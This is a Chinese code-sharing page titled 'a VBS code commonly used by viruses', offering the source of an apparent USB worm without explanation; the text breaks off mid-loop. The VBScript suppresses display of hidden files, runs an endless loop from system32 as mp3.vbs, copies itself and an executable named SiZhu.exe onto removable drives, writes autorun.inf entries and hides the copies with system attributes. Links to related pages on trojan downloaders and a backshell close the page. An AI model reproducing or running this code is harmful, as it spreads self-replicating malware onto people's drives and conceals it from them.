手机
当前位置:查字典教程网 >脚本专栏 >vbs >一段病毒常用的VBS代码
一段病毒常用的VBS代码
摘要:复制代码代码如下:OnerrorresumenextDimfso,wshell,curfolder,curdristr,curdriSetf...

复制代码 代码如下:

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject("scripting.filesystemobject")

Set wshell=CreateObject("WScript.shell")

Set curfolder=fso.GetFolder(".")

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid() '不显示隐藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"mp3.vbs" Then '如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

'autorun.inf文件夹改名

If fso.FolderExists(dri.Path&"autorun.inf") Then

fso.MoveFolder dri.Path&"autorun.inf",dri.Path&"Rubbish"

End If

'复制自身及exe文件到移动硬盘

If fso.FileExists(dri.Path&"mp3.vbs") And fso.FileExists(dri.Path&"autorun.inf") Then

Else

If fso.FileExists(dri.Path&"mp3.vbs") Then

fso.DeleteFile dri.Path&"mp3.vbs",True

ElseIf fso.FileExists(dri.Path&"autorun.inf") Then

fso.DeleteFile dri.Path&"autorun.inf",True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&"mp3.vbs",True

If fso.FileExists(".SiZhu.exe") And Not fso.FileExists(dri.Path&"SiZhu.exe") Then

fso.CopyFile ".SiZhu.exe",dri.Path&"SiZhu.exe",True

End If

autoinf(dri.Path)

'给刚复制的文件加上隐藏属性

Set norkon=fso.GetFile(dri.Path&"mp3.vbs")

wshell.run "attrib +r +a +s +h "&dri.Path&"mp3.vbs",0

Set norkon=Nothing

【一段病毒常用的VBS代码】相关文章:

一个收集的下载木马并运行的VBS代码

VBS获取外网IP地址并发送到指定邮箱的代码

TCP版backshell的VBS脚本代码

VBS 自动登录论坛的实现代码

一个实现VBS倒计时的代码

windows2003一句话开3389的vbs代码

防SQL注入的VBSrcipt代码

VBS和页面中响应COM的事件的方法和代码

提供个可以显示农历的VBS代码

vbs下通过日期查找文件夹的代码

精品推荐
分类导航